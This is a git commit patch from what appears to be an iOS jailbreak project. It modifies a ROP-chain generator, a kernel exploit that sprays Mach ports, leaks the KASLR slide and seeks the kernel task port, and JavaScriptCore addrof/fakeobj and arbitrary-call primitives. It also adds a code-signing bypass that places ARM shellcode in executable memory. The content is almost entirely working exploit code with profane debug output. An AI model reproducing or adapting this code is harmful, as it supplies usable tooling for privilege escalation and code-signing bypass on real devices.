From b040db45dfc9ef9a902e48bc2718a94cd099f505 Mon Sep 17 00:00:00 2001 From: spv420 Date: Tue, 31 May 2022 19:51:14 -0400 Subject: I live in a constant state of fear and misery Do you miss me anymore? And I don't even notice When it hurts anymore Anymore Anymore Anymore --- src/gen/main.c | 4 +- src/gen/stage2.c | 15 ++-- src/js/csbypass.js | 69 +++++++++++++++ src/js/kexp/exploit.js | 92 +++++++------------- src/js/lib/myutils.js | 7 +- src/js/lib/str.js | 8 +- src/js/main.js | 93 ++++++++++++++++++++- src/js/primitives/call.js | 208 +++++++++++++++++++++++++++++++++++++++++++++- src/js/primitives/mem.js | 39 +++++++++ 9 files changed, 460 insertions(+), 75 deletions(-) create mode 100644 src/js/csbypass.js (limited to 'src') diff --git a/src/gen/main.c b/src/gen/main.c index 30726d5..5ee0286 100644 --- a/src/gen/main.c +++ b/src/gen/main.c @@ -206,8 +206,8 @@ int main(int argc, fprintf(stderr, "0x%x\n", RTLD_DEFAULT); - uint32_t stack_base = 0x1c7718; // my shell setup -// uint32_t stack_base = 0x1c772c; // my shell setup +// uint32_t stack_base = 0x1c7718; // my shell setup + uint32_t stack_base = 0x1c7708; // my shell setup // uint32_t stack_base = 0x1c7c88; // my 4s shell setup // uint32_t stack_base = 0x1c2e48; // my lldb // uint32_t stack_base = 0x1c7d68; // btserver env diff --git a/src/gen/stage2.c b/src/gen/stage2.c index 8b98a7e..7e611c8 100644 --- a/src/gen/stage2.c +++ b/src/gen/stage2.c @@ -313,12 +313,17 @@ rop_chain_shit gen_rop_chain(uint32_t base, uint32_t JSGlobalContextCreateInGroup = get_dyld_shc_sym_addr_jsc("JSGlobalContextCreateInGroup"); uint32_t JSContextGetGlobalObject = get_dyld_shc_sym_addr_jsc("JSContextGetGlobalObject"); uint32_t JSStringCreateWithUTF8CString = get_dyld_shc_sym_addr_jsc("JSStringCreateWithUTF8CString"); + uint32_t JSObjectGetProperty = get_dyld_shc_sym_addr_jsc("JSObjectGetProperty"); uint32_t JSEvaluateScript = get_dyld_shc_sym_addr_jsc("JSEvaluateScript"); uint32_t dlsym_ = get_dyld_shc_sym_addr("dlsym"); MOV_R0(dlsym_); STR_R0(base + reserve_addr + 24); + fprintf(stderr, "var JSStringCreateWithUTF8CString = 0x%08x;\n" + "var JSObjectGetProperty = 0x%08x;\n" + "var JSContextGetGlobalObject = 0x%08x;\n", JSStringCreateWithUTF8CString, JSObjectGetProperty, JSContextGetGlobalObject); + // uint32_t settimeofday = get_dyld_shc_sym_addr("settimeofday"); fprintf(stderr, "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", JSContextGroupCreate, JSGlobalContextCreateInGroup, JSContextGetGlobalObject, JSStringCreateWithUTF8CString, JSEvaluateScript, dlsym_); @@ -356,11 +361,11 @@ rop_chain_shit gen_rop_chain(uint32_t base, MOV_R0(0x108000); CALL_SLID(JSStringCreateWithUTF8CString); - STR_R0(base + reserve_addr + 0x48); + STR_R0(base + reserve_addr + 0x4a); PRINT_STILL_HERE(); - DEREF_IN_R0(base + reserve_addr + 0x48); + DEREF_IN_R0(base + reserve_addr + 0x4a); MOV_R1_R0(); - CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48); + CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x4a); MOV_R1_R0(); PRINT_STILL_HERE(); @@ -378,13 +383,13 @@ rop_chain_shit gen_rop_chain(uint32_t base, MOV_R0(0x10a000); CALL_SLID(JSStringCreateWithUTF8CString); - STR_R0(base + reserve_addr + 0x48); + STR_R0(base + reserve_addr + 0x4a); PRINT_STILL_HERE(); /* DEREF_IN_R0(base + reserve_addr + 0x48); MOV_R1_R0(); */ - CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48); + CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x4a); MOV_R1_R0(); PRINT_STILL_HERE(); diff --git a/src/js/csbypass.js b/src/js/csbypass.js new file mode 100644 index 0000000..e91dac3 --- /dev/null +++ b/src/js/csbypass.js @@ -0,0 +1,69 @@ +var RTLD_NOW = 2; +var PAGE_SIZE = 0x1000; + +var CFDictionaryCreateMutable_addr = 0x20809ae1; +var kCFTypeDictionaryKeyCallBacks_addr = 0x343c79cc; +var kCFTypeDictionaryValueCallBacks_addr = 0x343c79fc; +var CFDictionarySetValue_addr = 0x2080a791; +var CFNumberCreate_addr = 0x2080bc79; +var kCFNumberSInt32Type = 3; + +function csbypass() { + printf("hello from csbypass!\n"); + poc(); +} + +function memcpy_exec(dst, src, size) { + var dict = NULL; + var accel = malloc(4); + var width = malloc(4); + var height = malloc(4); + var pitch = malloc(4); + var pixel_format = malloc(4); + write_u32(width, PAGE_SIZE / (16 * 4)); + write_u32(height, 16); + write_u32(pitch, read_u32(width) * 4); + write_u32(pixel_format, 0x42475241); // ARGB + dict = callnarg(CFDictionaryCreateMutable_addr + get_dyld_shc_slide(), 0, 0, kCFTypeDictionaryKeyCallBacks_addr, kCFTypeDictionaryValueCallBacks_addr); + printf("dict: %p\n", dict); + callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceBytesPerRow), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, pitch)); + callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceWidth), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, width)); + callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceHeight), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, height)); + callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfacePixelFormat), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, pixel_format)); + printf("fuck you\n"); + printf("%d\n", callnarg(my_IOSurfaceAcceleratorCreate, 0, 0, accel)); +} + +function linkIOSurface() { + h = dlopen("/System/Library/PrivateFrameworks/IOSurface.framework/IOSurface", RTLD_NOW); + + my_kIOSurfaceBytesPerRow = dlsym(h, "kIOSurfaceBytesPerRow"); + my_kIOSurfaceWidth = dlsym(h, "kIOSurfaceWidth"); + my_kIOSurfaceHeight = dlsym(h, "kIOSurfaceHeight"); + my_kIOSurfacePixelFormat = dlsym(h, "kIOSurfacePixelFormat"); + + scall("printf", "%x %x %x %x\n", my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat); + + my_IOSurfaceAcceleratorCreate = dlsym(h, "IOSurfaceAcceleratorCreate"); + my_IOSurfaceCreate = dlsym(h, "IOSurfaceCreate"); + my_IOSurfaceAcceleratorTransferSurface = dlsym(h, "IOSurfaceAcceleratorTransferSurface"); +} + +function poc() { + linkIOSurface(); + + var tmp = malloc(0x4000); + var start = [0x4F, 0xF0, 0x82, 0x40, 0x00, 0x47]; + + for (var i = 0; i < start.length; i++) { + write_u8(tmp + i, start[i]); + } + + var finish = 0x10000; + + memcpy_exec(finish. tmp, 0x1000); + + scall("printf", "%x %x %x %x %x %x %x %x %x %x %x %x %x\n", h, my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat, my_IOSurfaceAcceleratorCreate, my_IOSurfaceCreate, my_IOSurfaceAcceleratorTransferSurface, 0x41414141); + +// var finish = +} \ No newline at end of file diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js index 544a876..c667dd2 100755 --- a/src/js/kexp/exploit.js +++ b/src/js/kexp/exploit.js @@ -105,24 +105,28 @@ function copyinPort(kport, cnt) { var data = malloc(4); var master = malloc(4); fakeportData = malloc(4); + var host_self = mach_host_self(); host_get_io_master(mach_host_self(), master); ret = spray_data(NULL, 0, 5, data); printf("sprayed, still here\n"); printf("spray_data=%d (%s)\n", ret, mach_error_string(ret)); printf("sprayed, still here\n"); +// printf("%x %x\n", master, read_u32(master)); service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity")); printf("service=%x\n", service); var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); + printf("%x\n", tst); var kpbuf = tst + 4; for (var i = 0; i < cnt; i++) { write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size); } var err = malloc(4); - var xml = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1768515945"); - ret = io_service_open_extended(service, self, 0, 0, 1, xml, strlen(xml) + 1, err, client); + var xmls = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1768515945"; + var xml = sptr(xmls); + ret = io_service_open_extended(service, self, 0, 0, 1, xml, xmls.length + 1, err, client); printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); if (ret == KERN_SUCCESS) { ret = read_u32(err); @@ -132,7 +136,6 @@ function copyinPort(kport, cnt) { var found = false; var o = IOIteratorNext(read_u32(it)); - printf("%x\n", o); while (o != MACH_PORT_NULL && !found) { var buf = malloc(16 * 4); @@ -141,13 +144,8 @@ function copyinPort(kport, cnt) { ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size); printf("%d %s\n", ret, mach_error_string(ret)); if (ret == KERN_SUCCESS) { - printf("yolo\n"); -// mach_port_deallocate(self, read_u32(data)); -// write_u32(data, MACH_PORT_NULL); spray_data(tst, strlen(tst) + 1, 10, fakeportData); - printf("still still alive?\n"); kslide = (((read_u32(buf + (9 << 2)) & 0xFFF00000) + 0x1000) -0x80001000) >>> 0; - printf("still alive? %x\n", 420); printf("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16)); found = true; return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0; @@ -202,7 +200,10 @@ function spray_ports(number_port_descs) { mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp); mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND); - send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs); + var ret_ = send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs); + +// printf("%d (%s)\n", ret_, mach_error_string(ret_)); + var ret = read_u32(mp); free(mp); return ret; @@ -236,75 +237,46 @@ function send_ports(target, payload, num, number_port_descs) { write_u32(init_port_set + (i << 2), payload); } - var buf = malloc(0x1c + (number_port_descs * 0xc * 8)); + // var buf = malloc(0x1c + (number_port_descs * 0xc * 8)); - write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs); +// write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs); - var new_buf = new Uint32Array(3); -// var tmp = u32_to_u8x4(init_port_set); - new_buf[0] = (init_port_set); - new_buf[1] = (num); - new_buf[2] = ((19 << 24) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 16)); - -// new_buf_.push(tmp[0]); -// new_buf_.push(tmp[1]); -// new_buf_.push(tmp[2]); -// new_buf_.push(tmp[3]); -// tmp = u32_to_u8x4(num); -// new_buf_.push(tmp[0]); -// new_buf_.push(tmp[1]); -// new_buf_.push(tmp[2]); -// new_buf_.push(tmp[3]); -// new_buf_.push(0); -// new_buf_.push(0); -// new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR); -// new_buf_.push(19); - -// printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]); - -// var new_buf = fast_array_mul(new_buf_, number_port_descs); +// var buf = new Uint32Array((0x1c + (3 * number_port_descs)) / 4); - for (var i = 0; i < number_port_descs; i++) { - write_u32_buf(buf + req_init_port_set + (i * 0xc), new_buf, new_buf.length * 4); - } + large_buf[req_msgh_body_msgh_descriptor_count / 4] = number_port_descs; - /* - for (var i = 0; i < number_port_descs; i++) { - write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_address, init_port_set); - write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_count, num); - write_u8(buf + (req_init_port_set * (i + 1)) + 0x8, 0); - write_u8(buf + (req_init_port_set * (i + 1)) + 0xa, 19); - write_u8(buf + (req_init_port_set * (i + 1)) + 0xb, MACH_MSG_OOL_PORTS_DESCRIPTOR); - }*/ + var tmp = ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24)); - write_u32(buf + req_head_msgh_bits, 0x80001513); // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE) - write_u32(buf + req_head_msgh_request_port, target); - write_u32(buf + req_head_msgh_reply_port, 0); - write_u32(buf + req_head_msgh_id, 1337); + for (var i = 0; i < number_port_descs; i++) { + var tmp2 = (i * 3) + (req_init_port_set >>> 2); + large_buf[tmp2 + 0] = (init_port_set); + large_buf[tmp2 + 1] = (num); + large_buf[tmp2 + 2] = tmp; + } - var ret = mach_msg(buf, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL); + large_buf[req_head_msgh_bits >>> 2] = 0x80001513; // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE) + large_buf[req_head_msgh_request_port >>> 2] = target; + large_buf[req_head_msgh_reply_port >>> 2] = 0; + large_buf[req_head_msgh_id >>> 2] = 1337; - free(buf); +// printf("%s\n", prim_hexdump(read_buf(large_buf_ptr, 0x100))); + + var ret = mach_msg(large_buf_ptr, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL); return ret; } function release_port_ptrs(port) { - printf("alive\n"); var req = malloc(0x1c + (5 * 0xc) + 0x8); for (var i = 0; i < (0x1c + (5 * 0xc) + 0x8); i += 4) { write_u32(req + i, 0x0); } printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0")); - printf("alive\n"); var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); - printf("alive\n"); - // if (ret != KERN_SUCCESS) { -// printf("mach_recv %d %s\n", ret, mach_error_string(ret)); - printf("alive\n"); - // } + if (ret != KERN_SUCCESS) { + printf("mach_recv %d %s\n", ret, mach_error_string(ret)); + } free(req); - printf("alive\n"); } function get_kernel_task() { @@ -335,7 +307,7 @@ function get_kernel_task() { var big_buf = malloc(MIG_MAX); var small_buf = malloc(MIG_MAX); - + var big_size = malloc(4); var small_size = malloc(4); diff --git a/src/js/lib/myutils.js b/src/js/lib/myutils.js index e856624..89860f8 100755 --- a/src/js/lib/myutils.js +++ b/src/js/lib/myutils.js @@ -116,4 +116,9 @@ var mach_msg = scall_wrapper("mach_msg"); var mmap = scall_wrapper("mmap"); var free = scall_wrapper("free"); var mlock = scall_wrapper("mlock"); -var mprotect = scall_wrapper("mprotect"); \ No newline at end of file +var mprotect = scall_wrapper("mprotect"); +var dlopen = scall_wrapper("dlopen"); +var dlsym = scall_wrapper("dlsym"); +var CFDictionaryCreateMutable = scall_wrapper("CFDictionaryCreateMutable"); +var CFDictionarySetValue = scall_wrapper("CFDictionarySetValue"); +var CFNumberCreate = scall_wrapper("CFNumberCreate"); \ No newline at end of file diff --git a/src/js/lib/str.js b/src/js/lib/str.js index 31621bf..c95573d 100644 --- a/src/js/lib/str.js +++ b/src/js/lib/str.js @@ -2,7 +2,7 @@ * currently unused (iirc) garbage * basically just prints an address than the uint32_t there, and then +4, etc */ -function prim_dump_u32(buf) { +function prim_dump_u32(buf, base) { s = ""; for (var i = 0; i < buf.length; i += 4) { @@ -13,10 +13,10 @@ function prim_dump_u32(buf) { tmp.push(buf[i + 2]); tmp.push(buf[i + 3]); - s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8); + s += "0x" + pad_left((base + i).toString(16), "0", 8); s += ": "; s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8); - if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) { +/* if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) { s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8); s += "\n"; val = read_u32(u8x4_to_u32(tmp)); @@ -24,7 +24,7 @@ function prim_dump_u32(buf) { buf = read_buf(val, 0x100); s += (hexdump(buf, 8, 2, val, 8, "0x")); } - } + }*/ s += "\n"; } diff --git a/src/js/main.js b/src/js/main.js index 7021ab1..c6ceba0 100644 --- a/src/js/main.js +++ b/src/js/main.js @@ -19,6 +19,8 @@ var PROT_EXEC = 0x4; var MAP_PRIVATE = 0x2; var MAP_ANON = 0x1000; +var victim = {a: 13.37}; + /* * leftover shit from jsc_fun, used to be using `log` */ @@ -32,6 +34,10 @@ try { puts = function (){}; } +var JSStringCreateWithUTF8CString = 0x239f9d0d; +var JSObjectGetProperty = 0x239fa411; +var JSContextGetGlobalObject = 0x239f8dfd; + function main() { /* * get slide and calculate slid base @@ -48,6 +54,8 @@ function main() { init_sptr_heap(); + scall("printf", "%x %x %x %x", 0x41, 0x42, 0x43, 0x44); + puts("we out here"); puts("I came through a portal holding a 40 and a blunt. Do you really wanna test me right now?"); @@ -56,9 +64,92 @@ function main() { printf("*(uint16_t*)base = 0x%x\n", read_u16(base)); printf("*(uint32_t*)base = 0x%x\n", read_u32(base)); - var tfp0 = get_kernel_task(); + var dyld_shc_slide = get_dyld_shc_slide(); + + sym_cache["JSStringCreateWithUTF8CString"] = JSStringCreateWithUTF8CString + dyld_shc_slide; + sym_cache["JSObjectGetProperty"] = JSObjectGetProperty + dyld_shc_slide; + sym_cache["JSContextGetGlobalObject"] = JSContextGetGlobalObject + dyld_shc_slide; + + prep_shit(); + large_buf[0] = 0x41424344; + printf("%x\n", read_u32(large_buf_ptr)); + + csbypass(); + + return; + + var tfp0 = get_kernel_task(); + printf("tfp0=%x\n", tfp0); + + return; + + printf("dead?\n"); + var string_ref = scall("JSStringCreateWithUTF8CString", sptr("victim")); + printf("dead? %x\n", string_ref); + var global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44)); + printf("dead? %x\n", global_object); + var jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL); + printf("dead?\n"); + + printf("%x\n", jsobj_addr); +// printf("%s\n", hexdump(read_buf(jsobj_addr - 0x100, 0x200), 8, 2, jsobj_addr - 0x100, 8, '0')); + victim.target = parent; + printf("%x\n", read_u32(jsobj_addr + 0x18)); +// printf("%s\n", prim_dump_u32(read_buf(jsobj_addr - 0x10, 0x60), jsobj_addr - 0x10)); +// printf("%s\n", hexdump(read_buf(jsobj_addr - 0x100, 0x200), 8, 2, jsobj_addr - 0x100, 8, '0')); + + /* + UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"ROFL" + message:@"Dee dee doo doo." + delegate:self + cancelButtonTitle:@"OK" + otherButtonTitles:nil]; + [alert show]; + */ + + return; + + var rop_buf = new Array(); + var nop = (0x781a | 1) + slid; + var zero_arr = [].slice.call(u32_to_u8x4(0)); + var nop_arr = [].slice.call(u32_to_u8x4(nop)); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(nop); + for (var i = 0; i < 0x40000; i++) { + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(nop); + if (i % 0x1000 == 0) { + printf("%x\n", i); + } + } + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0x41414141); + + printf("gen'd buf\n"); + +// printf("%s\n", rop_buf[0].toString(16)); + + printf("exec'ing\n"); + exec_rop(rop_buf); + printf("done\n"); + +// var tfp0 = get_kernel_task(); + +// printf("tfp0=%x\n", tfp0); return; diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js index be4f254..3a2980a 100644 --- a/src/js/primitives/call.js +++ b/src/js/primitives/call.js @@ -31,8 +31,9 @@ var mov_r1_r0 = 0x72f76 | 1; var mov_r0 = 0xee40 | 1; var str_r0_r4 = 0x85474 | 1; -var stack_shit = 0x161000; +//var stack_shit = 0x161000; var pthread_ret = 0; +var stack_shit_rop = 0; function get_dyld_shc_slide() { /* @@ -140,11 +141,13 @@ function symaddr(sym) { return addy; } -function callnarg() { +function callnarg_new() { if (arguments.length < 1) { return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length); } + var stack_shit = 0x161000; + /* * setup ptrs */ @@ -232,6 +235,121 @@ function callnarg() { return read_u32(pthread_ret); } +function callnarg() { + if (arguments.length < 1) { + return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length); + } + + /* + * setup ptrs + */ + write_u32(countptr, count); + write_u32(thptr, th); + write_u32(threadptr, thread); + write_u32(thread_stateptr, thread_state); + + write_u32(countptrptr, countptr); + write_u32(thptrptr, thptr); + write_u32(threadptrptr, threadptr); + write_u32(thread_stateptrptr, thread_stateptr); + + var addy = arguments[0]; + var dyld_shc_slide = get_dyld_shc_slide(); + + var stack_shit = 0x161000; + + /* + * make __stack_chk_fail infinite loop + * (works by setting its lazy addy to its resolver, thus the resolver just + * endlessly jumps to iself) + */ + write_u32(__stack_chk_fail_lazy_addy + dyld_shc_slide, __stack_chk_fail_resolver + dyld_shc_slide); + + /* + * if the thread doesn't exist, create it. + */ + if (read_u32(th) === 0) { + calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0); + thread = read_u32(threadptr); + write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0)); + rth = read_u32(th); + } + + if (rth === 0) { + rth = read_u32(th); + } + +// calls4arg("thread_suspend", rth, 0, 0, 0); + + /* + * write first 4 to r0-r3, rest to stack + */ + for (var i = 1; i < arguments.length; i++) { + if (i <= 4) { + write_u32(thread_state + ((i - 1) << 2), arguments[i]); + } else { + write_u32(stack_shit + ((i - 5) << 2), arguments[i]); + } + } + + /* + * r9 + */ + write_u32(thread_state + (11 << 2), 0x1337); + + /* + * stack + */ + write_u32(thread_state + (13 << 2), stack_shit); + + /* + * return address, infinite loop + */ + write_u32(thread_state + (14 << 2), __stack_chk_fail_resolver + dyld_shc_slide); + + /* + * pc + */ + write_u32(thread_state + (15 << 2), addy); + + /* + * cpsr, magic + */ + if (addy & 1) { + write_u32(thread_state + (16 << 2), 0x40000020); + } else { + write_u32(thread_state + (16 << 2), 0x40000000); + } + + /* + * set the state + */ + calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT); + calls4arg("thread_resume", rth, 0, 0, 0); + + /* + * spin wait for return + */ + while (true) { + /* + * reset, it's used as input for thread_state size + */ + write_u32(count, 17); + calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count); + + /* + * if the pc is in (resolver, resolver + 8), suspend the thread + * (to not spin endlessly), read r0 and return + */ + if (((read_u32(thread_state + (15 << 2)) == (__stack_chk_fail_resolver + dyld_shc_slide)))) { + calls4arg("thread_suspend", rth, 0, 0, 0); + return read_u32(thread_state); + } + +// calls4arg("usleep", 1000, 0, 0, 0); + } +} + /* * call with symbol */ @@ -256,6 +374,8 @@ function scall() { sym_cache[sym] = addy; } +// printf("%s %x %x\n", sym, addy, sym_cache[sym]); + var args_to_pass = new Array(); var force_callnarg = false; @@ -283,4 +403,88 @@ function scall() { } return call4arg.apply(this, args_to_pass) } +} + +function rop_init() { + stack_shit_rop = scall("mmap", 0, 0x1000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); +} + +function exec_rop(buf) { + /* + * setup ptrs + */ + write_u32(countptr, count); + write_u32(thptr, th); + write_u32(threadptr, thread); + write_u32(thread_stateptr, thread_state); + + write_u32(countptrptr, countptr); + write_u32(thptrptr, thptr); + write_u32(threadptrptr, threadptr); + write_u32(thread_stateptrptr, thread_stateptr); + + var dyld_shc_slide = get_dyld_shc_slide(); + + /* + * make __stack_chk_fail infinite loop + * (works by setting its lazy addy to its resolver, thus the resolver just + * endlessly jumps to iself) + */ + write_u32(__stack_chk_fail_lazy_addy + dyld_shc_slide, __stack_chk_fail_resolver + dyld_shc_slide); + + if (stack_shit_rop == 0) { + rop_init(); + } + + calls4arg("printf", sptr("%x %x\n"), 0, stack_shit_rop, 0); + + /* + * if the thread doesn't exist, create it. + */ + calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0); + thread = read_u32(threadptr); + write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0)); + rth = read_u32(th); + calls4arg("thread_suspend", rth, 0, 0, 0); + + if (pthread_ret == 0) { + pthread_ret = malloc(4); + } + + write_u32_buf(stack_shit_rop + 0x3c, buf, buf.length * 4); + + /* + + var stack_shit_ret_offset = 0x58; + + write_u32(stack_shit + stack_shit_ret_offset, pthread_exit + dyld_shc_slide); + */ + + /* + * stack + */ + write_u32(thread_state + (13 << 2), stack_shit_rop); + + /* + * pc + */ + write_u32(thread_state + (15 << 2), add_sp_0x3c + dyld_shc_slide); + + /* + * cpsr, magic + */ + write_u32(thread_state + (16 << 2), 0x40000020); + + printf("actually doing it\n"); + + /* + * set the state + */ + calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT); + calls4arg("thread_resume", rth, 0, 0, 0); + + calls4arg("pthread_join", thread, pthread_ret, 0, 0); + write_u32(count, 17); + calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count); + return read_u32(pthread_ret); } \ No newline at end of file diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js index f6c4fe7..0cd2b7d 100644 --- a/src/js/primitives/mem.js +++ b/src/js/primitives/mem.js @@ -228,4 +228,43 @@ function _sptr(s) { */ function sptr(s) { return _sptr(s + "\0"); +} + +var string_ref; +var global_object; +var jsobj_addr; + +var large_buf = new Uint32Array(0x100000); +var large_buf_ptr = 0; + +function prep_shit() { + string_ref = scall("JSStringCreateWithUTF8CString", "victim"); + global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44)); + jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL); + large_buf_ptr = leak_vec(large_buf); +} + +function addrof(obj) { + victim.target = obj; + return read_u32(jsobj_addr + 0x18); +} + +// broken +function fakeobj(addy) { + var string_ref = scall("JSStringCreateWithUTF8CString", sptr("victim")); + var global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44)); + var jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL); + printf("YOLO\n"); + printf("1 %x\n", read_u32(jsobj_addr + 0x18)); + victim.target = 13.37; + printf("2 %x\n", read_u32(jsobj_addr + 0x18)); + write_u32(jsobj_addr + 0x18, addy); + printf("3 %x\n", read_u32(jsobj_addr + 0x18)); + return victim.target; +} + +function leak_vec(arr) { + var addy = addrof(arr); + printf("%x\n", addy); + return read_u32(addy + VECTOR_OFFSET); } \ No newline at end of file -- cgit v1.2.3